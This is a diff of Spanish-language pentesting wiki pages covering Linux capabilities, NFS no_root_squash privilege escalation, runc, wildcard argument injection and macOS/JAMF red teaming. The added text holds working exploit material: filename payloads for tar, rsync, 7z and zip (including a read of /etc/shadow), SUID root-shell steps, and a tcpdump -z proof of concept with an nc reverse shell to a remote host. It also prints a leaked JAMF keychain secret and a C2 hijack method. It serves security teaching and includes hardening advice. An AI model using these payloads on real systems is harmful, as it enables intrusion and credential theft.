+[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) no solo permite la ejecución de la llamada al sistema `reboot(2)` para reinicios del sistema, incluyendo comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para ciertas plataformas de hardware, sino que también habilita el uso de `kexec_load(2)` y, desde Linux 3.17 en adelante, `kexec_file_load(2)` para cargar nuevos o firmados núcleos de falla respectivamente.
## CAP_SYSLOG
@@ -1462,7 +1462,7 @@ Además, **CAP_SYSLOG** permite acceder a la salida de `dmesg` cuando `dmesg_res
- **S_IFCHR**: Archivos especiales de caracteres, que son dispositivos como terminales.
- **S_IFBLK**: Archivos especiales de bloques, que son dispositivos como discos.
-Esta capacidad es esencial para los procesos que requieren la capacidad de crear archivos de dispositivo, facilitando la interacción directa con el hardware a través de dispositivos de caracteres o bloques.
+Esta capacidad es esencial para procesos que requieren la capacidad de crear archivos de dispositivo, facilitando la interacción directa con el hardware a través de dispositivos de caracteres o bloques.
Es una capacidad predeterminada de docker ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
@@ -1505,15 +1505,15 @@ Este enfoque permite al usuario estándar acceder y potencialmente leer datos de
**CAP_SETPCAP** permite a un proceso **alterar los conjuntos de capacidades** de otro proceso, permitiendo la adición o eliminación de capacidades de los conjuntos efectivos, heredables y permitidos. Sin embargo, un proceso solo puede modificar las capacidades que posee en su propio conjunto permitido, asegurando que no puede elevar los privilegios de otro proceso más allá de los suyos. Las actualizaciones recientes del kernel han endurecido estas reglas, restringiendo `CAP_SETPCAP` a solo disminuir las capacidades dentro de su propio conjunto permitido o el de sus descendientes, con el objetivo de mitigar riesgos de seguridad. Su uso requiere tener `CAP_SETPCAP` en el conjunto efectivo y las capacidades objetivo en el conjunto permitido, utilizando `capset()` para modificaciones. Esto resume la función principal y las limitaciones de `CAP_SETPCAP`, destacando su papel en la gestión de privilegios y la mejora de la seguridad.
-**`CAP_SETPCAP`** es una capacidad de Linux que permite a un proceso **modificar los conjuntos de capacidades de otro proceso**. Otorga la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivos, heredables y permitidos de otros procesos. Sin embargo, hay ciertas restricciones sobre cómo se puede usar esta capacidad.
+**`CAP_SETPCAP`** es una capacidad de Linux que permite a un proceso **modificar los conjuntos de capacidades de otro proceso**. Otorga la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivos, heredables y permitidos de otros procesos. Sin embargo, hay ciertas restricciones sobre cómo se puede utilizar esta capacidad.
-Un proceso con `CAP_SETPCAP` **solo puede otorgar o eliminar capacidades que están en su propio conjunto de capacidades permitidas**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad por sí mismo. Esta restricción evita que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio.
+Un proceso con `CAP_SETPCAP` **solo puede otorgar o eliminar capacidades que están en su propio conjunto de capacidades permitido**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad por sí mismo. Esta restricción impide que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio.
-Además, en versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **further restricted**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitidas o en el conjunto de capacidades permitidas de sus descendientes**. Este cambio se introdujo para reducir los posibles riesgos de seguridad asociados con la capacidad.
+Además, en versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **further restricted**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitido o en el conjunto de capacidades permitido de sus descendientes**. Este cambio se introdujo para reducir los riesgos de seguridad potenciales asociados con la capacidad.
-Para usar `CAP_SETPCAP` de manera efectiva, necesitas tener la capacidad en tu conjunto de capacidades efectivo y las capacidades objetivo en tu conjunto de capacidades permitidas. Luego puedes usar la llamada al sistema `capset()` para modificar los conjuntos de capacidades de otros procesos.
+Para usar `CAP_SETPCAP` de manera efectiva, necesitas tener la capacidad en tu conjunto de capacidades efectivo y las capacidades objetivo en tu conjunto de capacidades permitido. Luego puedes usar la llamada al sistema `capset()` para modificar los conjuntos de capacidades de otros procesos.
-En resumen, `CAP_SETPCAP` permite a un proceso modificar los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tiene. Además, debido a preocupaciones de seguridad, su funcionalidad ha sido limitada en versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitidas o en los conjuntos de capacidades permitidas de sus descendientes.
+En resumen, `CAP_SETPCAP` permite a un proceso modificar los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tiene. Además, debido a preocupaciones de seguridad, su funcionalidad ha sido limitada en versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitido o en los conjuntos de capacidades permitidos de sus descendientes.
## Referencias
diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
index 7f30acefd..a8269b515 100644
--- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
+++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
@@ -1,24 +1,26 @@
+# NFS No Root Squash Misconfiguration Privilege Escalation
+
{{#include ../../banners/hacktricks-training.md}}
-# Información Básica sobre Squashing
+## Squashing Basic Info
-NFS generalmente (especialmente en Linux) confía en el `uid` y `gid` indicados por el cliente que se conecta para acceder a los archivos (si no se utiliza kerberos). Sin embargo, hay algunas configuraciones que se pueden establecer en el servidor para **cambiar este comportamiento**:
+NFS generalmente (especialmente en linux) confía en el `uid` y `gid` indicados por el cliente que se conecta para acceder a los archivos (si no se utiliza kerberos). Sin embargo, hay algunas configuraciones que se pueden establecer en el servidor para **cambiar este comportamiento**:
- **`all_squash`**: Aplana todos los accesos mapeando a cada usuario y grupo a **`nobody`** (65534 sin signo / -2 con signo). Por lo tanto, todos son `nobody` y no se utilizan usuarios.
- **`root_squash`/`no_all_squash`**: Este es el valor predeterminado en Linux y **solo aplana el acceso con uid 0 (root)**. Por lo tanto, cualquier `UID` y `GID` son confiables, pero `0` se aplana a `nobody` (por lo que no es posible la suplantación de root).
-- **`no_root_squash`**: Esta configuración, si está habilitada, ni siquiera aplana al usuario root. Esto significa que si montas un directorio con esta configuración, puedes acceder a él como root.
+- **``no_root_squash`**: Esta configuración, si está habilitada, ni siquiera aplana al usuario root. Esto significa que si montas un directorio con esta configuración, puedes acceder a él como root.
En el archivo **/etc/exports**, si encuentras algún directorio que esté configurado como **no_root_squash**, entonces puedes **acceder** a él **como cliente** y **escribir dentro** de ese directorio **como** si fueras el **root** local de la máquina.
-Para más información sobre **NFS**, consulta:
+Para más información sobre **NFS** consulta:
{{#ref}}
../../network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
-# Escalación de Privilegios
+## Privilege Escalation
-## Explotación Remota
+### Remote Exploit
Opción 1 usando bash:
- **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada el binario **/bin/bash** y dándole derechos **SUID**, y **ejecutando desde la máquina víctima** ese binario bash.
@@ -52,19 +54,19 @@ chmod +s payload
cd
./payload #ROOT shell
```
-## Local Exploit
+### Local Exploit
-> [!NOTE]
-> Tenga en cuenta que si puede crear un **túnel desde su máquina a la máquina víctima, aún puede usar la versión remota para explotar esta escalada de privilegios tunelizando los puertos requeridos**.\
-> El siguiente truco es en caso de que el archivo `/etc/exports` **indique una IP**. En este caso **no podrá usar** en ningún caso la **explotación remota** y necesitará **abusar de este truco**.\
-> Otro requisito necesario para que la explotación funcione es que **la exportación dentro de `/etc/export`** **debe estar usando la bandera `insecure`**.\
+> [!TIP]
+> Ten en cuenta que si puedes crear un **túnel desde tu máquina a la máquina víctima, aún puedes usar la versión remota para explotar esta escalada de privilegios tunelizando los puertos requeridos**.\
+> El siguiente truco es en caso de que el archivo `/etc/exports` **indique una IP**. En este caso **no podrás usar** en ningún caso el **exploit remoto** y necesitarás **abusar de este truco**.\
+> Otro requisito necesario para que el exploit funcione es que **la exportación dentro de `/etc/export`** **debe estar usando la bandera `insecure`**.\
> --_No estoy seguro de que si `/etc/export` está indicando una dirección IP, este truco funcionará_--
-## Basic Information
+### Basic Information
El escenario implica explotar un recurso compartido NFS montado en una máquina local, aprovechando un defecto en la especificación de NFSv3 que permite al cliente especificar su uid/gid, lo que potencialmente habilita el acceso no autorizado. La explotación implica usar [libnfs](https://github.com/sahlberg/libnfs), una biblioteca que permite la falsificación de llamadas RPC de NFS.
-### Compiling the Library
+#### Compiling the Library
Los pasos de compilación de la biblioteca pueden requerir ajustes según la versión del kernel. En este caso específico, las llamadas al sistema fallocate fueron comentadas. El proceso de compilación implica los siguientes comandos:
```bash
@@ -73,9 +75,9 @@ Los pasos de compilación de la biblioteca pueden requerir ajustes según la ver
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
-### Realizando el Explotación
+#### Realizando el Explotación
-La explotación implica crear un programa C simple (`pwn.c`) que eleva privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC:
+La explotación implica crear un programa C simple (`pwn.c`) que eleva los privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC:
1. **Compilar el código de explotación:**
```bash
@@ -95,9 +97,9 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/
/mnt/share/a.out
#root
```
-## Bonus: NFShell para Acceso a Archivos Sigiloso
+### Bonus: NFShell para Acceso a Archivos Sigiloso
-Una vez que se obtiene acceso root, para interactuar con el recurso compartido de NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo que se está accediendo, lo que permite interactuar con archivos en el recurso compartido sin problemas de permisos:
+Una vez que se obtiene acceso root, para interactuar con el recurso compartido NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo al que se accede, lo que permite interactuar con archivos en el recurso compartido sin problemas de permisos:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md
index 7c84d4349..ef9db7a5d 100644
--- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md
+++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md
@@ -37,6 +37,6 @@ mkdir rootfs
runc run demo
```
> [!CAUTION]
-> Esto no siempre funcionará ya que la operación predeterminada de runc es ejecutarse como root, por lo que ejecutarlo como un usuario sin privilegios simplemente no puede funcionar (a menos que tengas una configuración sin root). Hacer que una configuración sin root sea la predeterminada no es generalmente una buena idea porque hay bastantes restricciones dentro de los contenedores sin root que no se aplican fuera de los contenedores sin root.
+> Esto no siempre funcionará ya que la operación predeterminada de runc es ejecutarse como root, por lo que ejecutarlo como un usuario sin privilegios simplemente no puede funcionar (a menos que tengas una configuración sin root). Hacer que una configuración sin root sea la predeterminada generalmente no es una buena idea porque hay bastantes restricciones dentro de los contenedores sin root que no se aplican fuera de los contenedores sin root.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
index 985a23742..f5a6be8d9 100644
--- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
+++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
@@ -1,60 +1,168 @@
+# Wildcards Spare Tricks
+
{{#include ../../banners/hacktricks-training.md}}
-## chown, chmod
+> La inyección de **argumentos** con comodines (también conocida como *glob*) ocurre cuando un script privilegiado ejecuta un binario de Unix como `tar`, `chown`, `rsync`, `zip`, `7z`, … con un comodín sin comillas como `*`.
+> Dado que el shell expande el comodín **antes** de ejecutar el binario, un atacante que puede crear archivos en el directorio de trabajo puede elaborar nombres de archivos que comiencen con `-` para que sean interpretados como **opciones en lugar de datos**, efectivamente contrabandeando banderas arbitrarias o incluso comandos.
+> Esta página recopila las primitivas más útiles, investigaciones recientes y detecciones modernas para 2023-2025.
-Puedes **indicar qué propietario de archivo y permisos deseas copiar para el resto de los archivos**
+## chown / chmod
+
+Puedes **copiar el propietario/grupo o los bits de permiso de un archivo arbitrario** abusando de la bandera `--reference`:
```bash
-touch "--reference=/my/own/path/filename"
+# attacker-controlled directory
+touch "--reference=/root/secret``file" # ← filename becomes an argument
```
-Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque combinado)_\
-Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
-
-## Tar
-
-**Ejecutar comandos arbitrarios:**
+Cuando el root luego ejecuta algo como:
```bash
+chown -R alice:alice *.php
+chmod -R 644 *.php
+```
+`--reference=/root/secret``file` se inyecta, causando que *todos* los archivos coincidentes hereden la propiedad/permisos de `/root/secret``file`.
+
+*PoC y herramienta*: [`wildpwn`](https://github.com/localh0t/wildpwn) (ataque combinado).
+Vea también el clásico documento de DefenseCode para más detalles.
+
+---
+
+## tar
+
+### GNU tar (Linux, *BSD, busybox-full)
+
+Ejecute comandos arbitrarios abusando de la función **checkpoint**:
+```bash
+# attacker-controlled directory
+echo 'echo pwned > /tmp/pwn' > shell.sh
+chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
-Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque tar)_\
-Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
+Una vez que root ejecuta por ejemplo `tar -czf /root/backup.tgz *`, `shell.sh` se ejecuta como root.
-## Rsync
+### bsdtar / macOS 14+
-**Ejecutar comandos arbitrarios:**
+El `tar` por defecto en las versiones recientes de macOS (basado en `libarchive`) *no* implementa `--checkpoint`, pero aún puedes lograr la ejecución de código con la bandera **--use-compress-program** que te permite especificar un compresor externo.
```bash
-Interesting rsync option from manual:
-
--e, --rsh=COMMAND specify the remote shell to use
---rsync-path=PROGRAM specify the rsync to run on remote machine
+# macOS example
+touch "--use-compress-program=/bin/sh"
```
+Cuando un script privilegiado ejecuta `tar -cf backup.tar *`, se iniciará `/bin/sh`.
+---
+
+## rsync
+
+`rsync` te permite anular el shell remoto o incluso el binario remoto a través de flags de línea de comandos que comienzan con `-e` o `--rsync-path`:
```bash
-touch "-e sh shell.sh"
+# attacker-controlled directory
+touch "-e sh shell.sh" # -e => use instead of ssh
```
-Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
-Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
+Si el root archiva más tarde el directorio con `rsync -az * backup:/srv/`, la bandera inyectada genera tu shell en el lado remoto.
-## 7z
+*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mode).
-En **7z** incluso usando `--` antes de `*` (ten en cuenta que `--` significa que la entrada siguiente no puede ser tratada como parámetros, así que solo rutas de archivos en este caso) puedes causar un error arbitrario para leer un archivo, así que si un comando como el siguiente está siendo ejecutado por root:
+---
+
+## 7-Zip / 7z / 7za
+
+Incluso cuando el script privilegiado *defensivamente* antepone el comodín con `--` (para detener el análisis de opciones), el formato 7-Zip admite **archivos de lista de archivos** anteponiendo el nombre del archivo con `@`. Combinar eso con un symlink te permite *exfiltrar archivos arbitrarios*:
```bash
-7za a /backup/$filename.zip -t7z -snl -p$pass -- *
+# directory writable by low-priv user
+cd /path/controlled
+ln -s /etc/shadow root.txt # file we want to read
+touch @root.txt # tells 7z to use root.txt as file list
```
-Y puedes crear archivos en la carpeta donde se está ejecutando esto, podrías crear el archivo `@root.txt` y el archivo `root.txt` siendo un **symlink** al archivo que deseas leer:
+Si root ejecuta algo como:
```bash
-cd /path/to/7z/acting/folder
-touch @root.txt
-ln -s /file/you/want/to/read root.txt
+7za a /backup/`date +%F`.7z -t7z -snl -- *
```
-Entonces, cuando **7z** se ejecute, tratará `root.txt` como un archivo que contiene la lista de archivos que debe comprimir (eso es lo que indica la existencia de `@root.txt`) y cuando 7z lea `root.txt`, leerá `/file/you/want/to/read` y **como el contenido de este archivo no es una lista de archivos, lanzará un error** mostrando el contenido.
+7-Zip intentará leer `root.txt` (→ `/etc/shadow`) como una lista de archivos y se detendrá, **imprimiendo el contenido en stderr**.
-_Más información en los Write-ups de la caja CTF de HackTheBox._
+---
-## Zip
+## zip
-**Ejecutar comandos arbitrarios:**
+`zip` soporta la bandera `--unzip-command` que se pasa *verbatim* a la shell del sistema cuando se probará el archivo:
```bash
-zip name.zip files -T --unzip-command "sh -c whoami"
+zip result.zip files -T --unzip-command "sh -c id"
```
+Inyecta la bandera a través de un nombre de archivo elaborado y espera a que el script de respaldo privilegiado llame a `zip -T` (probar archivo) en el archivo resultante.
+
+---
+
+## Binarios adicionales vulnerables a la inyección de comodines (lista rápida 2023-2025)
+
+Los siguientes comandos han sido abusados en CTFs modernos y en entornos reales. La carga útil siempre se crea como un *nombre de archivo* dentro de un directorio escribible que luego será procesado con un comodín:
+
+| Binario | Bandera a abusar | Efecto |
+| --- | --- | --- |
+| `bsdtar` | `--newer-mtime=@` → `@file` arbitrario | Leer contenido del archivo |
+| `flock` | `-c ` | Ejecutar comando |
+| `git` | `-c core.sshCommand=` | Ejecución de comando a través de git sobre SSH |
+| `scp` | `-S ` | Generar programa arbitrario en lugar de ssh |
+
+Estos primitivos son menos comunes que los clásicos de *tar/rsync/zip* pero vale la pena revisarlos al buscar.
+
+---
+
+## ganchos de rotación de tcpdump (-G/-W/-z): RCE a través de inyección de argv en envoltorios
+
+Cuando un shell restringido o envoltorio de proveedor construye una línea de comando de `tcpdump` concatenando campos controlados por el usuario (por ejemplo, un parámetro de "nombre de archivo") sin una citación/validación estricta, puedes introducir banderas adicionales de `tcpdump`. La combinación de `-G` (rotación basada en tiempo), `-W` (limitar el número de archivos) y `-z ` (comando posterior a la rotación) da como resultado la ejecución arbitraria de comandos como el usuario que ejecuta tcpdump (a menudo root en dispositivos).
+
+Precondiciones:
+
+- Puedes influir en `argv` pasado a `tcpdump` (por ejemplo, a través de un envoltorio como `/debug/tcpdump --filter=... --file-name=`).
+- El envoltorio no sanitiza espacios o tokens con prefijo `-` en el campo del nombre de archivo.
+
+PoC clásica (ejecuta un script de shell inverso desde una ruta escribible):
+```sh
+# Reverse shell payload saved on the device (e.g., USB, tmpfs)
+cat > /mnt/disk1_1/rce.sh <<'EOF'
+#!/bin/sh
+rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
+EOF
+chmod +x /mnt/disk1_1/rce.sh
+
+# Inject additional tcpdump flags via the unsafe "file name" field
+/debug/tcpdump --filter="udp port 1234" \
+--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
+
+# On the attacker host
+nc -6 -lvnp 4444 &
+# Then send any packet that matches the BPF to force a rotation
+printf x | nc -u -6 [victim_ipv6] 1234
+```
+Detalles:
+
+- `-G 1 -W 1` fuerza una rotación inmediata después del primer paquete coincidente.
+- `-z ` ejecuta el comando post-rotación una vez por rotación. Muchas compilaciones ejecutan ``. Si `` es un script/intérprete, asegúrate de que el manejo de argumentos coincida con tu carga útil.
+
+Variantes sin medios removibles:
+
+- Si tienes alguna otra primitiva para escribir archivos (por ejemplo, un envoltorio de comando separado que permite la redirección de salida), coloca tu script en una ruta conocida y activa `-z /bin/sh /path/script.sh` o `-z /path/script.sh` dependiendo de la semántica de la plataforma.
+- Algunos envoltorios de proveedores rotan a ubicaciones controlables por el atacante. Si puedes influir en la ruta rotada (symlink/traversal de directorios), puedes dirigir `-z` para ejecutar contenido que controlas completamente sin medios externos.
+
+Consejos de endurecimiento para proveedores:
+
+- Nunca pases cadenas controladas por el usuario directamente a `tcpdump` (o cualquier herramienta) sin listas de permitidos estrictas. Cita y valida.
+- No expongas la funcionalidad `-z` en envoltorios; ejecuta tcpdump con una plantilla segura fija y desautoriza completamente las banderas adicionales.
+- Reduce los privilegios de tcpdump (cap_net_admin/cap_net_raw solo) o ejecuta bajo un usuario no privilegiado dedicado con confinamiento de AppArmor/SELinux.
+
+## Detección y Endurecimiento
+
+1. **Desactiva el globbing de shell** en scripts críticos: `set -f` (`set -o noglob`) previene la expansión de comodines.
+2. **Cita o escapa** argumentos: `tar -czf "$dst" -- *` *no* es seguro — prefiere `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
+3. **Rutas explícitas**: Usa `/var/www/html/*.log` en lugar de `*` para que los atacantes no puedan crear archivos hermanos que comiencen con `-`.
+4. **Menor privilegio**: Ejecuta trabajos de respaldo/mantenimiento como una cuenta de servicio no privilegiada en lugar de root siempre que sea posible.
+5. **Monitoreo**: La regla predefinida de Elastic *Potential Shell via Wildcard Injection* busca `tar --checkpoint=*`, `rsync -e*`, o `zip --unzip-command` seguido inmediatamente por un proceso hijo de shell. La consulta EQL puede adaptarse para otros EDRs.
+
+---
+
+## Referencias
+
+* Elastic Security – Regla detectada de Potential Shell via Wildcard Injection (última actualización 2025)
+* Rutger Flohil – “macOS — Inyección de comodines de Tar” (18 de diciembre de 2024)
+* GTFOBins – [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
+* FiberGateway GR241AG – [Cadena de Explotación Completa](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md
index f8c7f5219..507e96593 100644
--- a/src/macos-hardening/macos-red-teaming/README.md
+++ b/src/macos-hardening/macos-red-teaming/README.md
@@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
-
## Abusando de MDMs
- JAMF Pro: `jamf checkJSSConnection`
@@ -16,7 +15,7 @@ Para el red teaming en entornos MacOS, se recomienda tener un entendimiento de c
macos-mdm/
{{#endref}}
-### Usando MDM como un C2
+### Usando MDM como C2
Un MDM tendrá permiso para instalar, consultar o eliminar perfiles, instalar aplicaciones, crear cuentas de administrador locales, establecer contraseña de firmware, cambiar la clave de FileVault...
@@ -24,9 +23,9 @@ Para ejecutar tu propio MDM necesitas **que tu CSR sea firmado por un proveedor*
Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribir el dispositivo en un MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa.
-Para inscribir el dispositivo en un MDM, necesitas instalar un **`mobileconfig`** como root, que podría ser entregado a través de un archivo **pkg** (podrías comprimirlo en zip y cuando se descargue desde Safari se descomprimirá).
+Para inscribir el dispositivo en un MDM, necesitas instalar un archivo **`mobileconfig`** como root, que podría ser entregado a través de un archivo **pkg** (podrías comprimirlo en zip y cuando se descargue desde Safari se descomprimirá).
-**Mythic agent Orthrus** utiliza esta técnica.
+**El agente Mythic Orthrus** utiliza esta técnica.
### Abusando de JAMF PRO
@@ -34,7 +33,7 @@ JAMF puede ejecutar **scripts personalizados** (scripts desarrollados por el sys
#### Autoinscripción de JAMF
-Ve a una página como `https://.jamfcloud.com/enroll/` para ver si tienen **autoinscripción habilitada**. Si la tienen, podría **pedir credenciales para acceder**.
+Ve a una página como `https://.jamfcloud.com/enroll/` para ver si tienen **autoinscripción habilitada**. Si la tienen, podría **pedir credenciales para acceder**.
Podrías usar el script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar un ataque de password spraying.
@@ -42,16 +41,16 @@ Además, después de encontrar credenciales adecuadas, podrías ser capaz de for
.png>)
-#### Autenticación de Dispositivo JAMF
+#### Autenticación de dispositivo JAMF
El **binario `jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento estaba **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\
Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
-#### Toma de Control de Dispositivo JAMF
+#### Toma de control del dispositivo JAMF
-La **URL** de **JSS** (Jamf Software Server) que **`jamf`** utilizará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
+La **URL** del **JSS** (Jamf Software Server) que **`jamf`** utilizará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Este archivo contiene básicamente la URL:
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
@@ -60,12 +59,12 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
is_virtual_machinejss_url
-https://halbornasd.jamfcloud.com/
+https://subdomain-company.jamfcloud.com/last_management_framework_change_id4
[...]
```
-Entonces, un atacante podría dejar un paquete malicioso (`pkg`) que **sobrescriba este archivo** al instalarlo, configurando la **URL a un listener de Mythic C2 desde un agente Typhon** para poder abusar de JAMF como C2.
+Entonces, un atacante podría dejar un paquete malicioso (`pkg`) que **sobrescriba este archivo** al instalarlo, configurando la **URL a un listener de Mythic C2 desde un agente de Typhon** para poder abusar de JAMF como C2.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@@ -77,9 +76,9 @@ sudo jamf policy -id 0
Para **suplantar la comunicación** entre un dispositivo y JMF necesitas:
- El **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
-- El **llavero de JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo
+- La **llave de cadena de JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo
-Con esta información, **crea una VM** con el **UUID** de Hardware **robado** y con **SIP deshabilitado**, coloca el **llavero de JAMF,** **intercepta** el **agente** de Jamf y roba su información.
+Con esta información, **crea una VM** con el **UUID** de Hardware **robado** y con **SIP deshabilitado**, coloca la **llave de cadena de JAMF,** **intercepta** el **agente** de Jamf y roba su información.
#### Robo de secretos
@@ -93,7 +92,8 @@ El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-To
### Acceso Remoto a macOS
-Y también sobre los **protocolos** **"especiales"** de **red** de **MacOS**:
+Y también sobre los **protocolos** **de red** "especiales" de **MacOS**:
+
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
@@ -103,14 +103,17 @@ Y también sobre los **protocolos** **"especiales"** de **red** de **MacOS**:
En algunas ocasiones encontrarás que el **computador MacOS está conectado a un AD**. En este escenario deberías intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra algo de **ayuda** en las siguientes páginas:
+
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
+
{{#ref}}
../../windows-hardening/active-directory-methodology/
{{#endref}}
+
{{#ref}}
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
@@ -122,7 +125,7 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
También hay algunas herramientas preparadas para MacOS para enumerar automáticamente el AD y jugar con kerberos:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts de MacOS.
-- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto en Objective-C diseñado para interactuar con las APIs Heimdal krb5 en macOS. El objetivo del proyecto es habilitar mejores pruebas de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquetes en el objetivo.
+- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto en Objective-C diseñado para interactuar con las APIs de Heimdal krb5 en macOS. El objetivo del proyecto es permitir una mejor prueba de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquetes en el objetivo.
- [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para hacer enumeración de Active Directory.
### Información del Dominio
@@ -168,7 +171,7 @@ dsconfigad -show
```
Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
-### Contraseña de Computer$
+### Computer$ password
Obtén contraseñas usando:
```bash
@@ -209,7 +212,7 @@ macos-keychain.md
## Servicios Externos
-El Red Teaming en MacOS es diferente del Red Teaming regular en Windows, ya que generalmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora usando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin.
